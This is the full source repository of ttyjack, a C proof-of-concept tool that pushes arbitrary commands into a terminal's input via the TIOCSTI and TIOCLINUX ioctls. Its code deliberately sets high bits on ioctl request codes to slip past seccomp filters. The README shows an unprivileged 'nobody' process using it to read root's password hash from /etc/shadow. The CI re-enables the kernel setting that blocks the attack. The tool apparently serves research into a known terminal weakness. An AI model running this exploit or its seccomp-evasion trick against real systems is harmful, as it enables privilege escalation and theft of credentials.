├── .github └── workflows │ └── ci.yml ├── .gitignore ├── LICENSE ├── Makefile ├── README ├── t └── smoke.t └── ttyjack.c /.github/workflows/ci.yml: -------------------------------------------------------------------------------- 1 | name: CI 2 | permissions: {} 3 | on: 4 | - push 5 | - pull_request 6 | jobs: 7 | main: 8 | strategy: 9 | matrix: 10 | include: 11 | - os: ubuntu-22.04 12 | cc: gcc 13 | - os: ubuntu-22.04 14 | cc: clang 15 | - os: ubuntu-24.04 16 | cc: gcc 17 | - os: ubuntu-24.04 18 | cc: clang 19 | - os: macos-13 20 | cc: cc 21 | - os: macos-14 22 | cc: cc 23 | runs-on: ${{matrix.os}} 24 | steps: 25 | - uses: actions/checkout@v4 26 | - name: set up APT 27 | if: startsWith(matrix.os, 'ubuntu-') 28 | run: | 29 | printf 'Apt::Install-Recommends "false";\n' | sudo tee -a /etc/apt/apt.conf 30 | sudo apt-get update 31 | - name: check C compiler version 32 | run: 33 | ${{matrix.cc}} --version 34 | - name: build 35 | run: 36 | make CC=${{matrix.cc}} 37 | - name: install test deps 38 | if: startsWith(matrix.os, 'ubuntu-') 39 | run: | 40 | sudo apt-get install tmux 41 | - name: install test deps 42 | if: startsWith(matrix.os, 'macos-') 43 | run: | 44 | brew install tmux 45 | - name: print Linux config info 46 | if: startsWith(matrix.os, 'ubuntu-') 47 | run: | 48 | uname -a 49 | grep -w CONFIG_LEGACY_TIOCSTI /boot/config-$(uname -r) || true 50 | (printf 'LEGACY_TIOCSTI='; sysctl -n dev.tty.legacy_tiocsti) >> $GITHUB_ENV 51 | - name: run tests with TIOCSTI disabled, expecting failure 52 | if: startsWith(matrix.os, 'ubuntu-') && env.LEGACY_TIOCSTI == 0 53 | run: 54 | TTYJACK_TEST_XFAIL=1 55 | perl -Mautodie=exec -e '$SIG{PIPE}="DEFAULT"; exec @ARGV' 56 | make test 57 | - name: re-enable TIOCSTI 58 | if: startsWith(matrix.os, 'ubuntu-') && env.LEGACY_TIOCSTI == 0 59 | run: 60 | sudo sysctl -w dev.tty.legacy_tiocsti=1 61 | - name: run tests 62 | run: 63 | perl -Mautodie=exec -e '$SIG{PIPE}="DEFAULT"; exec @ARGV' 64 | make test 65 | - name: check README syntax 66 | if: startsWith(matrix.os, 'ubuntu-') 67 | run: | 68 | python3 -m pip install restructuredtext-lint pygments 69 | rst-lint --level=info --encoding=UTF-8 README 70 | - name: run cppcheck 71 | if: matrix.cc == 'gcc' 72 | run: | 73 | sudo apt-get install cppcheck 74 | cppcheck --error-exitcode=1 *.c 75 | 76 | # vim:ts=2 sts=2 sw=2 et 77 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | /ttyjack 2 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright © 2016-2025 Jakub Wilk 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the “Software”), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in 11 | all copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 19 | SOFTWARE. 20 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # Copyright © 2018-2022 Jakub Wilk 2 | # SPDX-License-Identifier: MIT 3 | 4 | PREFIX = /usr/local 5 | DESTDIR = 6 | 7 | bindir = $(PREFIX)/bin 8 | 9 | CFLAGS ?= -g -O2 10 | CFLAGS += -Wall -Wextra 11 | 12 | .PHONY: all 13 | all: ttyjack 14 | 15 | .PHONY: install 16 | install: ttyjack 17 | install -d $(DESTDIR)$(bindir) 18 | install -m755 $(<) $(DESTDIR)$(bindir)/ 19 | 20 | .PHONY: test 21 | test: ttyjack 22 | prove -v 23 | 24 | .PHONY: clean 25 | clean: 26 | rm -f ttyjack 27 | 28 | # vim:ts=4 sts=4 sw=4 noet 29 | -------------------------------------------------------------------------------- /README: -------------------------------------------------------------------------------- 1 | .. code:: console 2 | 3 | # ttyjack --help 4 | Usage: ttyjack [-L] COMMAND [ARG...] 5 | 6 | Options: 7 | -L use TIOCLINUX (works only on /dev/ttyN) 8 | -h, --help show this help message and exit 9 | 10 | # runuser -u nobody grep ^root: /etc/shadow 11 | grep: /etc/shadow: Permission denied 12 | 13 | # runuser -u nobody ttyjack grep ^root: /etc/shadow 14 | … 15 | root:$6$Xq2H8u8X$7sGVbjX/ToCu1Azv9dxMYyu6wwkTaqb3GbjslA3NVpdHYKNhKU1XUjRuoHcSoCUEg4rasaNRCbwc3EqzJaKzu0:17305:0:99999:7::: 16 | 17 | .. vim:ft=rst ts=3 sts=3 sw=3 et 18 | -------------------------------------------------------------------------------- /t/smoke.t: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | # Copyright © 2022-2025 Jakub Wilk 4 | # SPDX-License-Identifier: MIT 5 | 6 | set -e -u 7 | 8 | here="${0%/*}" 9 | base="$here/.." 10 | prog="$base/ttyjack" 11 | 12 | echo 1..1 13 | 14 | tmpdir=$(mktemp -d -t ttyjack.test.XXXXXX) 15 | 16 | run_tmux() 17 | { 18 | tmux -f /dev/null -S "$tmpdir/tmux.socket" "$@" 19 | } 20 | 21 | quote() 22 | { 23 | printf '%q' "$1" 24 | } 25 | 26 | stat "$prog" > /dev/null 27 | printf '# ' 28 | run_tmux -V 29 | run_tmux \ 30 | start-server ';' \ 31 | set-option -g remain-on-exit ';' \ 32 | new-session -x 80 -y 24 -d bash -i 33 | sleep 1 34 | secret=$(LC_ALL=C tr -dc a-z < /dev/urandom | head -c 16) 35 | secret13=$(LC_ALL=C tr a-z n-za-m <<< "$secret") 36 | run_tmux set-buffer $'HISTFILE=/dev/null\n' ';' paste-buffer 37 | run_tmux set-buffer "$(quote "$prog") 'echo cjarq-$secret13 | LC_ALL=C tr a-z n-za-m; exit 0'"$'\n' ';' paste-buffer 38 | sleep 1 39 | out=$(run_tmux capture-pane -p -E 24) 40 | sed -e 's/^/# T> /' <<< "$out" 41 | if [[ -z ${TTYJACK_TEST_XFAIL-} ]] 42 | then 43 | case $out in 44 | *"pwned-$secret"*) 45 | echo ok 1;; 46 | *) 47 | echo not ok 1;; 48 | esac 49 | else 50 | case $out in 51 | *"pwned-$secret"*) 52 | echo not ok 1;; 53 | *'TIOCSTI: Input/output error'*) 54 | echo ok 1;; 55 | *) 56 | echo not ok 1;; 57 | esac 58 | fi 59 | run_tmux kill-session 60 | rm -rf "$tmpdir" 61 | 62 | # vim:ts=4 sts=4 sw=4 et ft=sh 63 | -------------------------------------------------------------------------------- /ttyjack.c: -------------------------------------------------------------------------------- 1 | /* Copyright © 2016-2023 Jakub Wilk 2 | * SPDX-License-Identifier: MIT 3 | */ 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | #if defined(__linux__) 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #endif 23 | 24 | #define PROGRAM_NAME "ttyjack" 25 | 26 | static void show_usage(FILE *fp) 27 | { 28 | fprintf(fp, "Usage: %s [-L] COMMAND [ARG...]\n", PROGRAM_NAME); 29 | if (fp != stdout) 30 | return; 31 | fprintf(fp, 32 | "\n" 33 | "Options:\n" 34 | " -L use TIOCLINUX (works only on /dev/ttyN)\n" 35 | " -h, --help show this help message and exit\n" 36 | ); 37 | } 38 | 39 | static void xerror(const char *context) 40 | { 41 | int orig_errno = errno; 42 | fprintf(stderr, "%s: ", PROGRAM_NAME); 43 | errno = orig_errno; 44 | perror(context); 45 | exit(EXIT_FAILURE); 46 | } 47 | 48 | static int ioctl64(int fd, unsigned long request, void *arg) 49 | { 50 | #if __linux__ 51 | // Linux truncates the ioctl request code to 32 bits, 52 | // but only _after_ the seccomp check: 53 | // https://bugs.launchpad.net/snapd/+bug/1812973 54 | // Let's set the high bits in hope to get around seccomp filters 55 | // that don't take that into account. 56 | unsigned long request64 = request | (~0UL ^ ~0U); 57 | return ioctl(fd, request64, arg); 58 | #else 59 | return ioctl(fd, request, arg); 60 | #endif 61 | } 62 | 63 | static int push_fd_c(int fd, char c, size_t *i) 64 | { 65 | int rc = ioctl64(fd, TIOCSTI, &c); 66 | if (rc < 0) { 67 | if (*i == 0) 68 | return -1; 69 | xerror("TIOCSTI"); 70 | } 71 | (*i)++; 72 | return rc; 73 | } 74 | 75 | static int push_fd(int fd, char **argv) 76 | { 77 | size_t i = 0; 78 | if (fd > 2) 79 | i++; 80 | for (; *argv; argv++) { 81 | for (char *s = *argv; *s; s++) { 82 | int rc = push_fd_c(fd, *s, &i); 83 | if (rc < 0) 84 | return -1; 85 | } 86 | char c = argv[1] ? ' ' : '\n'; 87 | int rc = push_fd_c(fd, c, &i); 88 | if (rc < 0) 89 | return -1; 90 | } 91 | return 0; 92 | } 93 | 94 | static void push(char **argv) 95 | { 96 | int fd; 97 | int rc; 98 | for (fd = 0; fd <= 2; fd++) { 99 | rc = push_fd(fd, argv); 100 | if (rc == 0) 101 | return; 102 | } 103 | fd = open("/dev/tty", O_RDONLY); 104 | if (fd < 0) 105 | xerror("/dev/tty"); 106 | fd = dup2(fd, 3); 107 | if (fd < 0) 108 | xerror("dup2()"); 109 | rc = push_fd(fd, argv); 110 | assert(rc == 0); 111 | } 112 | 113 | #if defined(__linux__) 114 | 115 | static void xprintf(int fd, const char *fmt, ...) 116 | { 117 | va_list ap; 118 | va_start(ap, fmt); 119 | int rc = vdprintf(fd, fmt, ap); 120 | if (rc < 0) 121 | xerror("dprintf()"); 122 | va_end(ap); 123 | } 124 | 125 | static int get_tty_n(int fd) 126 | { 127 | struct stat sb; 128 | int rc = fstat(fd, &sb); 129 | if (rc < 0) 130 | xerror("fstat()"); 131 | if ((sb.st_mode & S_IFMT) != S_IFCHR) 132 | return -1; 133 | unsigned int sb_major = major(sb.st_rdev); 134 | unsigned int sb_minor = minor(sb.st_rdev); 135 | switch (sb_major) { 136 | case TTYAUX_MAJOR: 137 | if (sb_minor == 0) { 138 | unsigned int ctty_dev; 139 | rc = ioctl(fd, TIOCGDEV, &ctty_dev); 140 | if (rc < 0) 141 | xerror("TIOCGDEV"); 142 | if (major(ctty_dev) == TTY_MAJOR) { 143 | unsigned int ctty_minor = minor(ctty_dev); 144 | if ((ctty_minor >= MIN_NR_CONSOLES) && (ctty_minor <= MAX_NR_CONSOLES)) 145 | return ctty_minor; 146 | } 147 | return -1; 148 | } 149 | break; 150 | case TTY_MAJOR: 151 | if ((sb_minor >= MIN_NR_CONSOLES) && (sb_minor <= MAX_NR_CONSOLES)) 152 | return sb_minor; 153 | break; 154 | } 155 | return -1; 156 | } 157 | 158 | static int paste_fd(int fd, char **argv) 159 | { 160 | struct { 161 | char padding; 162 | char subcode; 163 | struct tiocl_selection sel; 164 | } data; 165 | data.subcode = TIOCL_GETMOUSEREPORTING; 166 | int rc = ioctl64(fd, TIOCLINUX, &data.subcode); 167 | if (rc < 0) { 168 | if (fd > 2) { 169 | if (errno == ENOTTY) { 170 | int tty_n = get_tty_n(fd); 171 | if (tty_n < 0) { 172 | fprintf(stderr, "%s -L must be run on /dev/ttyN\n", PROGRAM_NAME); 173 | exit(EXIT_FAILURE); 174 | } 175 | } 176 | xerror("TIOCLINUX"); 177 | } 178 | return -1; 179 | } 180 | xprintf(fd, "%s", 181 | "\033[H" // move cursor to (1, 1) 182 | "\033[2J" // clear screen 183 | ); 184 | int tty_n = get_tty_n(fd); 185 | if (tty_n < 0) { 186 | char *tty_name = ttyname(fd); 187 | if (tty_name == NULL) 188 | xerror("ttyname()"); 189 | fprintf(stderr, "%s: unexpected device: %s\n", PROGRAM_NAME, tty_name); 190 | exit(EXIT_FAILURE); 191 | } 192 | if (tty_n > 0) 193 | xprintf(fd, "\033[12;%d]", tty_n); 194 | for (; *argv; argv++) { 195 | xprintf(fd, "%s", *argv); 196 | xprintf(fd, "%c", argv[1] ? ' ' : '\n'); 197 | } 198 | data.subcode = TIOCL_SETSEL; 199 | data.sel.xs = 1; 200 | data.sel.xe = 1; 201 | data.sel.ys = 1; 202 | data.sel.ye = 1; 203 | data.sel.sel_mode = TIOCL_SELLINE; 204 | rc = ioctl64(fd, TIOCLINUX, &data.subcode); 205 | if (rc < 0) { 206 | perror("TIOCL_SETSEL"); 207 | return 1; 208 | } 209 | data.subcode = TIOCL_PASTESEL; 210 | rc = ioctl64(fd, TIOCLINUX, &data.subcode); 211 | if (rc < 0) { 212 | perror("TIOCL_PASTESEL"); 213 | return 1; 214 | } 215 | return 0; 216 | } 217 | 218 | static void paste(char **argv) 219 | { 220 | int fd; 221 | int rc; 222 | for (fd = 0; fd <= 2; fd++) { 223 | rc = paste_fd(fd, argv); 224 | if (rc == 0) 225 | return; 226 | } 227 | fd = open("/dev/tty", O_RDWR); 228 | if (fd < 0) 229 | xerror("/dev/tty"); 230 | fd = dup2(fd, 3); 231 | if (fd < 0) 232 | xerror("dup2()"); 233 | rc = paste_fd(fd, argv); 234 | if (rc < 0) 235 | exit(EXIT_FAILURE); 236 | } 237 | 238 | #else 239 | 240 | static void paste(char **argv) 241 | { 242 | (void) argv; 243 | errno = ENOTSUP; 244 | xerror("-L"); 245 | } 246 | 247 | #endif 248 | 249 | int main(int argc, char **argv) 250 | { 251 | bool use_paste = false; 252 | int opt; 253 | while ((opt = getopt(argc, argv, "Lh-:")) != -1) 254 | switch (opt) { 255 | case 'L': 256 | use_paste = true; 257 | break; 258 | case 'h': 259 | show_usage(stdout); 260 | exit(EXIT_SUCCESS); 261 | case '-': 262 | if (strcmp(optarg, "help") == 0) { 263 | show_usage(stdout); 264 | exit(EXIT_SUCCESS); 265 | } 266 | /* fall through */ 267 | default: 268 | show_usage(stderr); 269 | exit(EXIT_FAILURE); 270 | } 271 | if (optind >= argc) { 272 | show_usage(stderr); 273 | exit(EXIT_FAILURE); 274 | } 275 | argc -= optind; 276 | argv += optind; 277 | if (use_paste) 278 | paste(argv); 279 | else 280 | push(argv); 281 | return 0; 282 | } 283 | 284 | /* vim:set ts=4 sts=4 sw=4 et:*/ 285 | --------------------------------------------------------------------------------